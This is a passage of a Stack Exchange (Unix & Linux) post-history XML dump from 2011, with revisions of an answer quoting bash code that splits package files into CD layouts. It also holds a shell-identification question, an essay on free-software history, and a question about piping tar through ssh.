our&#xD;&#xA;&gt; program (for example, with &quot;`du -sb *`&quot;)&#xD;&#xA;&gt; and read this information from stdin.&#xD;&#xA;&#xD;&#xA;(from [Hitchhikers guide to Haskell, Chapter 1](http://www.haskell.org/haskellwiki/Hitchhikers_guide_to_Haskell#Chapter_1:_Ubiquitous_.22Hello_world.21.22_and_other_ways_to_do_IO_in_Haskell))&#xD;&#xA;&#xD;&#xA;(Additionaly, in your question, you'd like to be able to tweak (edit) the resulting disk layouts, and then use a tool to burn them.)&#xD;&#xA;&#xD;&#xA;You could re-use (adapt and re-use) a simple variant of the program from that Haskell tutorial for splitting your file collection.&#xD;&#xA;&#xD;&#xA;Unfortunately, in [the `distribute` tool that I've mentioned here in another answer](http://unix.stackexchange.com/questions/10158/splitting-large-directory-tree-into-specified-size-chunks/10221#10221), the simplicity of the essential splitting task is not matched by the complexity and bloatedness of the user interface of `distribute` (because it was written to combine several tasks; although performed in stages, but still combined not in the cleanest way I could think of now).&#xD;&#xA;&#xD;&#xA;To help you make some use of its code, here's an excerpt from the bash-code of `distribute` (at [line 380](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD#l380)) that serves to do this &quot;essential&quot; task of splitting a collection of files:&#xD;&#xA;&#xD;&#xA;    # Splitting:&#xD;&#xA;    &#xD;&#xA;    function splitMirrorDir() {&#xD;&#xA;      if [[ ! -d &quot;$THIS_BASES_DIR/$BASE/$type&quot; ]]; then&#xD;&#xA;        echo $&quot;No base fixed for $type&quot; &gt;&amp;2&#xD;&#xA;        exit 1&#xD;&#xA;      fi&#xD;&#xA;    &#xD;&#xA;      # Getting the list of all suitable files:&#xD;&#xA;      local -a allFiles&#xD;&#xA;      let 'no = 0' ||:&#xD;&#xA;      allFiles=()&#xD;&#xA;      # no points to the next free position in allFiles&#xD;&#xA;      # allFiles contains the constructed list&#xD;&#xA;      for p in &quot;$THIS_BASES_DIR/$BASE/$type&quot;/*.rpm; do&#xD;&#xA;          if [[ ! -e &quot;$p&quot; ]]; then&#xD;&#xA;    	  # fail on non-existent files&#xD;&#xA;    	  echo $&quot;Package file doesn't exist: &quot; &quot;$p&quot; &gt;&amp;2&#xD;&#xA;    	  return 1 &#xD;&#xA;          fi&#xD;&#xA;          if [[ &quot;$ONLY_REAL_FILES&quot; == &quot;yes&quot; &amp;&amp; ! -f &quot;$p&quot; ]]; then&#xD;&#xA;    	  continue&#xD;&#xA;          fi&#xD;&#xA;          if [[ &quot;$DIFF_TO_BASE&quot; ]]; then&#xD;&#xA;              older_copy=&quot;$DIFF_TO_BASE/$type/${p##*/}&quot; # using shell param expansion instead of `basename' to speed up&#xD;&#xA;              if [[ -h &quot;$older_copy&quot; || -a &quot;$older_copy&quot; ]]; then&#xD;&#xA;    	      continue&#xD;&#xA;    	  fi&#xD;&#xA;          fi&#xD;&#xA;          allFiles[$(( no++ ))]=&quot;$p&quot;&#xD;&#xA;      done&#xD;&#xA;      readonly -a allFiles&#xD;&#xA;    &#xD;&#xA;      # Splitting the list of all files into future disks:&#xD;&#xA;      # &#xD;&#xA;      local -a filesToEat allSizes&#xD;&#xA;      let 'no = 0' ||:&#xD;&#xA;      filesToEat=()&#xD;&#xA;      allSizes=($(getSize &quot;${allFiles[@]}&quot;))&#xD;&#xA;      readonly -a allSizes&#xD;&#xA;      # allSizes contains the sizes corrsponding to allFiles&#xD;&#xA;      # filesToEat hold the constructed list of files to put on the current disk&#xD;&#xA;      # no points to the next free position in filesToEat&#xD;&#xA;      # totalSize should hold the sum of the sizes &#xD;&#xA;      #  of the files already put into filesToEat;&#xD;&#xA;      #  it is set and reset externally.&#xD;&#xA;      for p in &quot;${allFiles[@]}&quot;; do &#xD;&#xA;          if (( totalsize + ${allSizes[$(( no ))]} &gt; CDVOLUME )); then&#xD;&#xA;    	  eatFiles &quot;${filesToEat[@]}&quot;&#xD;&#xA;              filesToEat=()&#xD;&#xA;              finishCD&#xD;&#xA;    	  startTypedCD&#xD;&#xA;    	fi&#xD;&#xA;          let &quot;totalsize += ${allSizes[$(( no ))]}&quot; ||:&#xD;&#xA;          filesToEat[$(( no++ ))]=&quot;$p&quot;&#xD;&#xA;      done&#xD;&#xA;      eatFiles &quot;${filesToEat[@]}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function eatFiles() {&#xD;&#xA;        #{ oldIFS=&quot;$IFS&quot;; IFS=$'\n'; echo &quot;$FUNCNAME: args: &quot; &quot;$*&quot; | head &gt;&amp;2;  IFS=&quot;$oldIFS&quot;; }&#xD;&#xA;        zeroDelimited &quot;$@&quot; | xargs -0 --no-run-if-empty \&#xD;&#xA;    	cp -s \&#xD;&#xA;    	--target-dir=&quot;$THIS_LAYOUTS_DIR/cd$(( cdN ))/$PREFIX/$type$DOT_SUFFIX&quot;/ \&#xD;&#xA;    	--&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function startTypedCD() {&#xD;&#xA;    #  set -x&#xD;&#xA;      mkdir -p &quot;$THIS_LAYOUTS_DIR/cd$(( cdN ))/$PREFIX/$type$DOT_SUFFIX&quot;&#xD;&#xA;      start_action $&quot; %s with %s&quot; &quot;$(( cdN ))&quot; &quot;$type&quot;&#xD;&#xA;    #  set +x&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function finishCD() {&#xD;&#xA;([read more after line 454](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD#l454))&#xD;&#xA;&#xD;&#xA;Note that the `eatFiles` function prepares the layouts of the future disks as tree where the leaves are symlinks to the real files. So, it is meeting your requirement that you should be able to edit the layouts before burning. The `mkisofs` utility has an option to follow symlinks, which is indeed employed in the code of [my `mkiso` function](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD#l248).&#xD;&#xA;&#xD;&#xA;The presented script (which you can take and rewrite to your needs, of course!) follows the simplest idea: to sum the sizes of files (or, more precisely, packages in the case of `distribute`) just in the order they were listed, don't do any rearrangements.&#xD;&#xA;&#xD;&#xA;The &quot;Hitchhikers guide to Haskell&quot; takes the optimization problem more seriously and suggests program variants that would try to re-arrange the files smartly, in order for them to fit better on disks (and require less disks):&#xD;&#xA;&#xD;&#xA;&gt; Enough preliminaries already. let's go&#xD;&#xA;&gt; pack some CDs.&#xD;&#xA;&gt; &#xD;&#xA;&gt; As you might already have recognized,&#xD;&#xA;&gt; our problem is a classical one. It is&#xD;&#xA;&gt; called a **&quot;knapsack problem&quot;**&#xD;&#xA;&gt; ([google it up](http://www.google.com/search?q=knapsack+problem), if you don't know&#xD;&#xA;&gt; already what it is. There are more&#xD;&#xA;&gt; than 100000 links).&#xD;&#xA;&gt; &#xD;&#xA;&gt; let's start from the greedy solution...&#xD;&#xA;&#xD;&#xA;(read more in [Chapter 3](http://www.haskell.org/haskellwiki/Hitchhikers_guide_to_Haskell#Chapter_3:_Packing_the_knapsack_and_testing_it_with_class.2C_too_.28and_don.27t_forget_your_towel.21.29) and further.)&#xD;&#xA;&#xD;&#xA;### Other smart tools&#xD;&#xA;I've been told also that Debian uses a tool to make its distro CDs that is smarter than my `distribute` w.r.t. collections of packages: its results are nicer because it cares about inter-package dependencies and would try to make the collection of packages that gets on the first disk closed under dependencies, i.e., no package from the 1st disk should require a package from another disk (or at least, I'd say, the number of such dependencies should be minimized)." />
  <row Id="24808" PostHistoryTypeId="25" PostId="10318" RevisionGUID="f7517665-20e7-49a9-8639-47565fe939bf" CreationDate="2011-03-30T18:00:20.713" Comment="http://twitter.com/#!/StackUnix/status/53154606758371328" />
  <row Id="24809" PostHistoryTypeId="5" PostId="3645" RevisionGUID="7cfe677b-23ba-46e3-9281-41f76e75fe6d" CreationDate="2011-03-30T18:01:20.820" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How to test what shell I am using in a terminal?](http://unix.stackexchange.com/questions/9501/how-to-test-what-shell-i-am-using-in-a-terminal)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;An echo $SHELL will only display the value of the SHELL variable which would indicate the default shell on the system.&#xD;&#xA;&#xD;&#xA;But I might not be always using the default shell on my system:&#xD;&#xA;&#xD;&#xA;    $ bash&#xD;&#xA;    $ echo $SHELL&#xD;&#xA;    /bin/bash&#xD;&#xA;    $ csh&#xD;&#xA;    % echo $SHELL&#xD;&#xA;    /bin/bash&#xD;&#xA;    %&#xD;&#xA;&#xD;&#xA;How can I easily figure out what shell I am using?" />
  <row Id="24810" PostHistoryTypeId="10" PostId="3645" RevisionGUID="2a292eab-53e3-44fd-b4f0-c4f5490793c6" CreationDate="2011-03-30T18:01:20.540" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24811" PostHistoryTypeId="18" PostId="3645" RevisionGUID="4b76c919-7b0d-4ae4-89e3-c2a0ad076fbf" CreationDate="2011-03-30T18:02:18.200" UserId="73" Comment="to http://unix.stackexchange.com/questions/9501/how-to-test-what-shell-i-am-using-in-a-terminal" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24812" PostHistoryTypeId="18" PostId="3647" RevisionGUID="4b76c919-7b0d-4ae4-89e3-c2a0ad076fbf" CreationDate="2011-03-30T18:02:18.200" UserId="73" Comment="from http://unix.stackexchange.com/questions/3645/how-can-i-check-which-shell-i-am-currently-using" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24813" PostHistoryTypeId="18" PostId="9501" RevisionGUID="4b76c919-7b0d-4ae4-89e3-c2a0ad076fbf" CreationDate="2011-03-30T18:02:18.200" UserId="73" Comment="from http://unix.stackexchange.com/questions/3645/how-can-i-check-which-shell-i-am-currently-using" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24814" PostHistoryTypeId="14" PostId="3645" RevisionGUID="fe9ccd6f-729f-425b-8657-7deb187b7505" CreationDate="2011-03-30T18:02:18.510" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24815" PostHistoryTypeId="5" PostId="10321" RevisionGUID="68f6bf47-6ce0-41d7-978e-61f8caa76331" CreationDate="2011-03-30T18:07:17.547" UserId="4319" Comment="(minor) Turned on syntax highlighting for the bash code." Text="We shouldn't forget that the essence of the task is indeed quite simple; as put in a tutorial on Haskell (which is written around the working through of the solution for this task, incrementally refined)&#xD;&#xA;&#xD;&#xA;&gt; Now let's think for a moment about how&#xD;&#xA;&gt; our program will operate and express&#xD;&#xA;&gt; it in pseudocode:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     main = Read list of directories and their sizes.&#xD;&#xA;&gt;            Decide how to fit them on CD-Rs.&#xD;&#xA;&gt;            Print solution.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Sounds reasonable? I thought so.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Let's simplify our life a little and&#xD;&#xA;&gt; assume for now that we will compute&#xD;&#xA;&gt; directory sizes somewhere outside our&#xD;&#xA;&gt; program (for example, with &quot;`du -sb *`&quot;)&#xD;&#xA;&gt; and read this information from stdin.&#xD;&#xA;&#xD;&#xA;(from [Hitchhikers guide to Haskell, Chapter 1](http://www.haskell.org/haskellwiki/Hitchhikers_guide_to_Haskell#Chapter_1:_Ubiquitous_.22Hello_world.21.22_and_other_ways_to_do_IO_in_Haskell))&#xD;&#xA;&#xD;&#xA;(Additionaly, in your question, you'd like to be able to tweak (edit) the resulting disk layouts, and then use a tool to burn them.)&#xD;&#xA;&#xD;&#xA;You could re-use (adapt and re-use) a simple variant of the program from that Haskell tutorial for splitting your file collection.&#xD;&#xA;&#xD;&#xA;Unfortunately, in [the `distribute` tool that I've mentioned here in another answer](http://unix.stackexchange.com/questions/10158/splitting-large-directory-tree-into-specified-size-chunks/10221#10221), the simplicity of the essential splitting task is not matched by the complexity and bloatedness of the user interface of `distribute` (because it was written to combine several tasks; although performed in stages, but still combined not in the cleanest way I could think of now).&#xD;&#xA;&#xD;&#xA;To help you make some use of its code, here's an excerpt from the bash-code of `distribute` (at [line 380](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD#l380)) that serves to do this &quot;essential&quot; task of splitting a collection of files:&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;    &#xD;&#xA;    # Splitting:&#xD;&#xA;    &#xD;&#xA;    function splitMirrorDir() {&#xD;&#xA;      if [[ ! -d &quot;$THIS_BASES_DIR/$BASE/$type&quot; ]]; then&#xD;&#xA;        echo $&quot;No base fixed for $type&quot; &gt;&amp;2&#xD;&#xA;        exit 1&#xD;&#xA;      fi&#xD;&#xA;    &#xD;&#xA;      # Getting the list of all suitable files:&#xD;&#xA;      local -a allFiles&#xD;&#xA;      let 'no = 0' ||:&#xD;&#xA;      allFiles=()&#xD;&#xA;      # no points to the next free position in allFiles&#xD;&#xA;      # allFiles contains the constructed list&#xD;&#xA;      for p in &quot;$THIS_BASES_DIR/$BASE/$type&quot;/*.rpm; do&#xD;&#xA;          if [[ ! -e &quot;$p&quot; ]]; then&#xD;&#xA;    	  # fail on non-existent files&#xD;&#xA;    	  echo $&quot;Package file doesn't exist: &quot; &quot;$p&quot; &gt;&amp;2&#xD;&#xA;    	  return 1 &#xD;&#xA;          fi&#xD;&#xA;          if [[ &quot;$ONLY_REAL_FILES&quot; == &quot;yes&quot; &amp;&amp; ! -f &quot;$p&quot; ]]; then&#xD;&#xA;    	  continue&#xD;&#xA;          fi&#xD;&#xA;          if [[ &quot;$DIFF_TO_BASE&quot; ]]; then&#xD;&#xA;              older_copy=&quot;$DIFF_TO_BASE/$type/${p##*/}&quot; # using shell param expansion instead of `basename' to speed up&#xD;&#xA;              if [[ -h &quot;$older_copy&quot; || -a &quot;$older_copy&quot; ]]; then&#xD;&#xA;    	      continue&#xD;&#xA;    	  fi&#xD;&#xA;          fi&#xD;&#xA;          allFiles[$(( no++ ))]=&quot;$p&quot;&#xD;&#xA;      done&#xD;&#xA;      readonly -a allFiles&#xD;&#xA;    &#xD;&#xA;      # Splitting the list of all files into future disks:&#xD;&#xA;      # &#xD;&#xA;      local -a filesToEat allSizes&#xD;&#xA;      let 'no = 0' ||:&#xD;&#xA;      filesToEat=()&#xD;&#xA;      allSizes=($(getSize &quot;${allFiles[@]}&quot;))&#xD;&#xA;      readonly -a allSizes&#xD;&#xA;      # allSizes contains the sizes corrsponding to allFiles&#xD;&#xA;      # filesToEat hold the constructed list of files to put on the current disk&#xD;&#xA;      # no points to the next free position in filesToEat&#xD;&#xA;      # totalSize should hold the sum of the sizes &#xD;&#xA;      #  of the files already put into filesToEat;&#xD;&#xA;      #  it is set and reset externally.&#xD;&#xA;      for p in &quot;${allFiles[@]}&quot;; do &#xD;&#xA;          if (( totalsize + ${allSizes[$(( no ))]} &gt; CDVOLUME )); then&#xD;&#xA;    	  eatFiles &quot;${filesToEat[@]}&quot;&#xD;&#xA;              filesToEat=()&#xD;&#xA;              finishCD&#xD;&#xA;    	  startTypedCD&#xD;&#xA;    	fi&#xD;&#xA;          let &quot;totalsize += ${allSizes[$(( no ))]}&quot; ||:&#xD;&#xA;          filesToEat[$(( no++ ))]=&quot;$p&quot;&#xD;&#xA;      done&#xD;&#xA;      eatFiles &quot;${filesToEat[@]}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function eatFiles() {&#xD;&#xA;        #{ oldIFS=&quot;$IFS&quot;; IFS=$'\n'; echo &quot;$FUNCNAME: args: &quot; &quot;$*&quot; | head &gt;&amp;2;  IFS=&quot;$oldIFS&quot;; }&#xD;&#xA;        zeroDelimited &quot;$@&quot; | xargs -0 --no-run-if-empty \&#xD;&#xA;    	cp -s \&#xD;&#xA;    	--target-dir=&quot;$THIS_LAYOUTS_DIR/cd$(( cdN ))/$PREFIX/$type$DOT_SUFFIX&quot;/ \&#xD;&#xA;    	--&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function startTypedCD() {&#xD;&#xA;    #  set -x&#xD;&#xA;      mkdir -p &quot;$THIS_LAYOUTS_DIR/cd$(( cdN ))/$PREFIX/$type$DOT_SUFFIX&quot;&#xD;&#xA;      start_action $&quot; %s with %s&quot; &quot;$(( cdN ))&quot; &quot;$type&quot;&#xD;&#xA;    #  set +x&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function finishCD() {&#xD;&#xA;([read more after line 454](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD#l454))&#xD;&#xA;&#xD;&#xA;Note that the `eatFiles` function prepares the layouts of the future disks as tree where the leaves are symlinks to the real files. So, it is meeting your requirement that you should be able to edit the layouts before burning. The `mkisofs` utility has an option to follow symlinks, which is indeed employed in the code of [my `mkiso` function](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD#l248).&#xD;&#xA;&#xD;&#xA;The presented script (which you can take and rewrite to your needs, of course!) follows the simplest idea: to sum the sizes of files (or, more precisely, packages in the case of `distribute`) just in the order they were listed, don't do any rearrangements.&#xD;&#xA;&#xD;&#xA;The &quot;Hitchhikers guide to Haskell&quot; takes the optimization problem more seriously and suggests program variants that would try to re-arrange the files smartly, in order for them to fit better on disks (and require less disks):&#xD;&#xA;&#xD;&#xA;&gt; Enough preliminaries already. let's go&#xD;&#xA;&gt; pack some CDs.&#xD;&#xA;&gt; &#xD;&#xA;&gt; As you might already have recognized,&#xD;&#xA;&gt; our problem is a classical one. It is&#xD;&#xA;&gt; called a **&quot;knapsack problem&quot;**&#xD;&#xA;&gt; ([google it up](http://www.google.com/search?q=knapsack+problem), if you don't know&#xD;&#xA;&gt; already what it is. There are more&#xD;&#xA;&gt; than 100000 links).&#xD;&#xA;&gt; &#xD;&#xA;&gt; let's start from the greedy solution...&#xD;&#xA;&#xD;&#xA;(read more in [Chapter 3](http://www.haskell.org/haskellwiki/Hitchhikers_guide_to_Haskell#Chapter_3:_Packing_the_knapsack_and_testing_it_with_class.2C_too_.28and_don.27t_forget_your_towel.21.29) and further.)&#xD;&#xA;&#xD;&#xA;### Other smart tools&#xD;&#xA;I've been told also that Debian uses a tool to make its distro CDs that is smarter than my `distribute` w.r.t. collections of packages: its results are nicer because it cares about inter-package dependencies and would try to make the collection of packages that gets on the first disk closed under dependencies, i.e., no package from the 1st disk should require a package from another disk (or at least, I'd say, the number of such dependencies should be minimized)." />
  <row Id="24816" PostHistoryTypeId="5" PostId="5320" RevisionGUID="33a2b774-2180-438b-8321-173875102188" CreationDate="2011-03-30T18:11:35.813" UserId="2362" Comment="separated some points" Text="*Gilles explained very well the evolution from piece to another [here][1], so I will cover the topic from more broad perspective and give some hints for further research.*&#xD;&#xA;&#xD;&#xA;**From Bazaars and Research Labs to Closed Blobs and Market-marginalized Groups that I think are not that marginal at all**&#xD;&#xA;&#xD;&#xA;The key term to play with evolution is power. If you are dependent on an OS, for example in the form of security updates, you are dependent on the software-manufacturer and hence it has power over you. It can decide to stop publishing security updates or do any evil that its license allows it to do. If the OS is closed, the users must feel helpless because they cannot fix problems on their own, perhaps shown in hypocriticical feelings such as `again the damn driver broken, XYZ's fault`. In the latter discussion, you can `s,OS,sofware,g` and it does not really lose its meaning about power-relationship, clearly some thing being timeless. &#xD;&#xA;&#xD;&#xA;I won't reinvent the damn wheel so please read about Bazaars, corporations and social-environmental-and-other problems below.&#xD;&#xA;&#xD;&#xA;**Start**&#xD;&#xA;&#xD;&#xA; 2. [Homebrew computer club before Apple and such things when things were open][2]&#xD;&#xA;&#xD;&#xA;**Ending, Now and Still Evolving**&#xD;&#xA;&#xD;&#xA; 1. [Amos Batto's essay explaining some reasons behind closing things (Internet Archieve article, cannot be found from Google easily)][3]&#xD;&#xA; 3. For visualizing the evolution, please, see the picture below from Wikipedia where things started from Bazaar (orange phase) and ended to red-green phase where things are still evolving or even chaotic. The picture is wrong or pro-Mimix-advertising in some points, n.b. comments. Please, read about the Mimix-Linux -turning point and differentiate the `marketing free`, `free-as-beer` and `free-as-speech` -- the debate [here][4]. Shortly, Mimix was not `free-as-free-speech` and Tanenbaum made money with it while Linus offered his OS with less restrictive license, very important years to understand so do not get misguided by some oddities in the picture. This crucial point later affected separate parties such as FreeBSD, Linux and Mimix -formation to their current form. Please, note that I don't call them with cohesive terms such as `&quot;open-source&quot;` because the term is getting misused.&#xD;&#xA; &#xD;&#xA; 5. When I used the term bazaar in the title, I really meant it. It is to some extent chaotic so it is hard to get a large picture but then again there are some very systematic groups. The one who can offer the most appropriate solution to current problem will get awarded and can sell his/her products on the market. Sometimes, a developer beats a huge 100 heads' dev teams and sometimes contrary. Torvards have drawn a good analogy with closed blob and open code (or equivalent in some email) to the science and alchemy. I think his point was that while alchemists are extinct in science, you can still find them in Software -area. He did not explain it much but my idea is that alchemists today exist in software engineering because it can be useful time-to-time, some practical situations require creative solutions. It is a bit like physicists used the sirac-delta-distribution over about 30years (according to my lecturer) before mathematicians agreed that it could be formulated in Mathematics, this phase may take some time. But do not underestimate the speculative frenzy in human instincts, it is surprising how many times I have seen people writing something &quot;new&quot;, finding it was already invented. Welcome back to the bazaar!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Culture, Money and Intellectual Capital**&#xD;&#xA;&#xD;&#xA; 4. The FOSS movement is not a marginal body, please, note that they do have their own things such as music ([here][6] or [here][7])and more-and-more hardware ([here][8]) -- if your media says something else or nothing, they are ignoramuses. The movement is more like a culture -- so the term movement is rather misleading -- with their own slants, habits and even past-times, perhaps hard to grasp the idea but more I get into it, the more I think it is but beware wanna-be-users -- it does no good get involved into meaningless debates about `free` and `closed` if the terms are not well-defined or documented like here. &#xD;&#xA; 5. I often find it stupid that people compare this decentralized thing to certain bureaucratic firms, not all of them, because the goal of many innovators per se is many time to have fun instead to create money. So the question like `&quot;do they get paid?&quot;` is a bit arrogant, did you get paid to be a roman or do you now get paid to be XYZ-citizen? Probably not or perhaps -- with a successful endeavor -- you need to wisely choose your camp as always. There are however other important things, such as knowledge, responsibility and co-operation, sometimes hard to measure in $. Is it actually called IC with business people? If so, you may get important skills by engaging to some project, an asset highly appreciated with knowledgeable firms -- but again seen too much wanna-be-reinventing-the-wheel-code so do good research before getting too much involved.  &#xD;&#xA;&#xD;&#xA;![alt text][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Wanna know more?**&#xD;&#xA;&#xD;&#xA;Your questions have too many confusions to attack them easily, such as presupposition about `hierarchy` that ignores the idea about chaos and ambiguous terms such as `Windows` -- dev branch or branding? And the term `from Unix` in the title tastes too much appealing-to-populism-in-Unix-quesion-site. It is hard to say how `/dev/null` such as W. and other closed things evolved because we don't know them, except speculation! People who know cannot speak. The source is primary, the rest is secondary. Be sure which blindfolds, i.e. search engine, you use for this topic, many valuable articles are dumped with irrelevant information as the case with the above removed article. As a starting point, you could try some links offered above.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3196/evolution-of-operating-systems-from-unix/3202#3202&#xD;&#xA;  [2]: http://opencollector.org/history/homebrew/index.html&#xD;&#xA;  [3]: http://web.archive.org/web/20070613114853/http://www.ciber-runa.net/guide/BetterUpgrade--ActivistGuide.html#Software&#xD;&#xA;  [4]: http://www.dina.dk/~abraham/Linus_vs_Tanenbaum.html&#xD;&#xA;  [5]: http://i.imgur.com/JvOTq.png&#xD;&#xA;  [6]: http://www.openbsd.org/lyrics.html&#xD;&#xA;  [7]: http://en.wikipedia.org/wiki/Plaid_Tongued_Devils&#xD;&#xA;  [8]: http://www.freeduino.org/" />
  <row Id="24817" PostHistoryTypeId="17" PostId="10324" RevisionGUID="c142088d-0f39-40d5-8809-1fbfc29e2f66" CreationDate="2011-03-30T18:19:16.027" UserId="-1" Comment="from http://stackoverflow.com/questions/5489871/tar-through-ssh-session/5489914#5489914" Text="" />
  <row Id="24818" PostHistoryTypeId="17" PostId="10325" RevisionGUID="0004d682-344d-426b-9300-de54a2789579" CreationDate="2011-03-30T18:19:16.027" UserId="-1" Comment="from http://stackoverflow.com/questions/5489871/tar-through-ssh-session/5489941#5489941" Text="" />
  <row Id="24819" PostHistoryTypeId="2" PostId="10324" RevisionGUID="ad36a776-9d49-49a5-a734-089fd4f9d2f6" CreationDate="2011-03-30T17:34:34.957" UserId="3651" Text="The option `-f -` (i.e. the `-` only makes sense in conjunction with `-f`) tells `tar` to use the standard input/output instead of a filename. Which makes sense since you try to pipe the output to `ssh`.&#xD;&#xA;&#xD;&#xA;Furthermore, `tar` allows writing shorthand options without the leading dash, which is why you (correctly) simply wrote `tar f -` instead of `tar -f`." />
  <row Id="24820" PostHistoryTypeId="2" PostId="10325" RevisionGUID="d4fc238b-a51e-4baa-bef6-072859164510" CreationDate="2011-03-30T17:36:52.343" UserDisplayName="davdunc" Text="The &quot;-&quot; is a placeholder for stdout.  In this case you are piping the output from the one command into the ssh session.  the ssh out is piped to the remote server terminal's stdout and is again delivered to the tar command for processing.  " />
  <row Id="24821" PostHistoryTypeId="2" PostId="10323" RevisionGUID="1a508db4-9dca-49b1-9218-f7ebeff1a726" CreationDate="2011-03-30T17:30:08.287" UserDisplayName="Carmen" Text="When I use this command:&#xD;&#xA;&#xD;&#xA;      tar cf - /tmp | ssh test.com tar xf -&#xD;&#xA;&#xD;&#xA;What does the '-' mean? And is this the correct interpretation of the above command? tar the tmp directory and ssh the tarball to test.com and untar it." />
  <row Id="24822" PostHistoryTypeId="1" PostId="10323" RevisionGUID="1a508db4-9dca-49b1-9218-f7ebeff1a726" CreationDate="2011-03-30T17:30:08.287" UserDisplayName="Carmen" Text="tar through ssh session" />
  <row Id="24823" PostHistoryTypeId="3" PostId="10323" RevisionGUID="1a508db4-9dca-49b1-9218-f7ebeff1a726" CreationDate="2011-03-30T17:30:08.287" UserDisplayName="Carmen" Text="ésshàétarà" />
  <row Id="24824" PostHistoryTypeId="17" PostId="10323" RevisionGUID="3410ba6e-7d37-49de-9898-fd50b5a61a20" CreationDate="2011-03-30T18:19:16.027" UserId="-1" Comment="from http://stackoverflow.com/questions/5489871/tar-through-ssh-session" Text="" />
  <row Id="24825" PostHistoryTypeId="5" PostId="10321" RevisionGUID="0d607928-4360-45eb-8806-f2826636a904" CreationDate="2011-03-30T18:27:00.457" UserId="4319" Comment="Typo." Text="We shouldn't forget that the essence of the task is indeed quite simple; as put in a tutorial on Haskell (which is written around the working through of the solution for this task, incrementally refined)&#xD;&#xA;&#xD;&#xA;&gt; Now let's think for a moment about how&#xD;&#xA;&gt; our program will operate and express&#xD;&#xA;&gt; it in pseudocode:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     main = Read list of directories and their sizes.&#xD;&#xA;&gt;            Decide how to fit them on CD-Rs.&#xD;&#xA;&gt;            Print solution.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Sounds reasonable? I thought so.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Let's simplify our life a little and&#xD;&#xA;&gt; assume for now that we will compute&#xD;&#xA;&gt; directory sizes somewhere outside our&#xD;&#xA;&gt; program (for example, with &quot;`du -sb *`&quot;)&#xD;&#xA;&gt; and read this information from stdin.&#xD;&#xA;&#xD;&#xA;(from [Hitchhikers guide to Haskell, Chapter 1](http://www.haskell.org/haskellwiki/Hitchhikers_guide_to_Haskell#Chapter_1:_Ubiquitous_.22Hello_world.21.22_and_other_ways_to_do_IO_in_Haskell))&#xD;&#xA;&#xD;&#xA;(Additionaly, in your question, you'd like to be able to tweak (edit) the resulting disk layouts, and then use a tool to burn them.)&#xD;&#xA;&#xD;&#xA;You could re-use (adapt and re-use) a simple variant of the program from that Haskell tutorial for splitting your file collection.&#xD;&#xA;&#xD;&#xA;Unfortunately, in [the `distribute` tool that I've mentioned here in another answer](http://unix.stackexchange.com/questions/10158/splitting-large-directory-tree-into-specified-size-chunks/10221#10221), the simplicity of the essential splitting task is not matched by the complexity and bloatedness of the user interface of `distribute` (because it was written to combine several tasks; although performed in stages, but still combined not in the cleanest way I could think of now).&#xD;&#xA;&#xD;&#xA;To help you make some use of its code, here's an excerpt from the bash-code of `distribute` (at [line 380](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD#l380)) that serves to do this &quot;essential&quot; task of splitting a collection of files:&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;    &#xD;&#xA;    # Splitting:&#xD;&#xA;    &#xD;&#xA;    function splitMirrorDir() {&#xD;&#xA;      if [[ ! -d &quot;$THIS_BASES_DIR/$BASE/$type&quot; ]]; then&#xD;&#xA;        echo $&quot;No base fixed for $type&quot; &gt;&amp;2&#xD;&#xA;        exit 1&#xD;&#xA;      fi&#xD;&#xA;    &#xD;&#xA;      # Getting the list of all suitable files:&#xD;&#xA;      local -a allFiles&#xD;&#xA;      let 